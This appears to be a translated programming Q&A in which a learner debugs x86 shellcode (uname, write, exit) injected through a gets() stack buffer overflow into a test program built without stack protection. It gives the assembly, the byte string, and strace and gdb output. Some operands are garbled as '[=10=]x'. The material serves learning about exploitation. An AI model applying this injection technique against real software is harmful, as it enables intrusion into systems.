缓冲区溢出中的 Uname 系统调用

Uname syscall in buffer overflow

我正在尝试学习缓冲区溢出的基础知识,所以我编写了以下代码将其注入缓冲区:

//uname(*buf)
"addl $-390, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb [=10=]x7a, %al;"  //syscall number
"int [=10=]x80;"        //raise interruption


//write(fd, *buf, size)
"movb [=10=]x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb [=10=]x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb [=10=]x05, %dl;"  //set buffer size (as I only want "Kali" string)   
"int [=10=]x80;"        //raise interruption

//exit(0)
"movb   [=10=]x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    [=10=]x80;"     //raise interruption

以上代码有效并具有以下字节码(也有效):

\x81\xc4\x7a\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80

这个字符串,带有一些 NOP 和末尾指向堆栈的地址,通过易受攻击的 get() 函数传递给目标程序。执行时可以看到在 strace 命令的以下输出中调用了 uname 系统调用:

(...)
uname({sysname="Linux", nodename="kali", ...}) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

我不明白的是为什么在检查 gdb 中的核心转储以查看为什么抛出分段错误时我在整个堆栈的任何地方都看不到我的字节码。可能是 uname 正在覆盖它吗?因为理论上space,390字节就够了。我错过了什么吗?

谢谢

更新:

main 调用的易受攻击的函数如下所示:

void function() {
    char buf[100];
    gets(buf);
    printf(buf);
}

我已经用 gdb 完成了单步调试,字节码被正确地放置在堆栈中,但我不能(不知道如何)在堆栈中执行调试指令。

正如在 strace 的输出中所见(表明二进制文件调用了哪些系统调用)最后做的事情是 uname 打电话。这就是为什么说它正在覆盖堆栈中的指令的原因(触发段错误时的eip是:0xbffff350)。

这里是returning到main之前的栈值(其实就是return到栈顶地址):

(gdb) x/100bx 0xbffff300
0xbffff2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff300: 0x90    0x90    0x81    0xc4    0x7a    0xfe    0xff    0xff
0xbffff308: 0x89    0xe3    0x31    0xc0    0x04    0x7a    0xcd    0x80
0xbffff310: 0xb0    0x04    0x31    0xdb    0xb3    0x01    0x8d    0x4c
0xbffff318: 0x24    0x41    0x31    0xd2    0x80    0xc2    0x05    0xcd
0xbffff320: 0x80    0xb0    0x01    0x31    0xdb    0xcd    0x80    0x90
0xbffff328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

此外,当 运行 运行可执行文件并在 gdb (运行 < byteCodeFile) 中传递字节码时,不会触发分段错误,但 "exited normally" 尽管它不会打印任何内容.

更新2:

Also when running the executable and passing the bytecode in gdb (run < byteCodeFile) the segmentation fault is not triggered but an "exited normally" althought it doesn't print anything.

其实就是打印东西。有时单词 "kali"(因此它可以正常工作),有时只是一两个字节。

更新3:

使用核心转储启动时 gdb 的输出是:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbffff350 in ?? ()

它调用 uname 函数并抛出分段错误。

运行ning里面的程序时gdb的输出(运行 < byteCodeFile):

��[Inferior 1 (process 5271) exited normally]

所以它会打印一些东西然后退出。

程序的编译是用这个选项完成的:

gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o program program.c

更新4:

我已将 390 更改为 500 为 4 的倍数,正如@Jester 在评论中指出的那样。现在它可以在终端中使用,但不能在 gdb 和新终端中使用。我认为这是相关的,因为它们有另一种内存布局,因此必须更改字节码末尾的地址。

问题

1.- 当不使用 gdb 执行易受攻击的程序时,为什么会触发分段错误以及为什么在分析核心转储时字节码没有显示在堆栈中的任何位置?

2.- 当使用 gdb 执行程序时 (运行 < byteCodeFile) 为什么会得到不同的结果? Uname 将始终使用相同的信息从 esp(仅在开始时修改)填充缓冲区,因此 write 应该始终正确执行,不是吗?

最终的汇编代码如下所示(仅将-390 更改为-500):

//uname(*buf)
"addl $-500, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb [=10=]x7a, %al;"  //syscall number
"int [=10=]x80;"        //raise interruption


//write(fd, *buf, size)
"movb [=10=]x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb [=10=]x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb [=10=]x05, %dl;"  //set buffer size    
"int [=10=]x80;"        //raise interruption

//exit(0)
"movb   [=10=]x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    [=10=]x80;"     //raise interruption

所以最终的字节码:

\x81\xc4\x0c\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80

1.- When gdb is not used to execute the vulnerable program why the segmentation fault is triggered and why the bytecode is not shown anywhere in the stack when analysing the core dump?

问题似乎是390不是4的倍数所以导致了一些错误。整个字节码大小也是错误的。

2.- When gdb is used to execute the program (run < byteCodeFile) why it gets different results? Uname will fill the buffer from esp (which is only modified at the begining) always with the same information so write should do it correctly always, isn't it?

gdb 中的地址必须与用于通过终端利用程序加载环境变量的地址不同。这是更好的解释:Buffer overflow works in gdb but not without it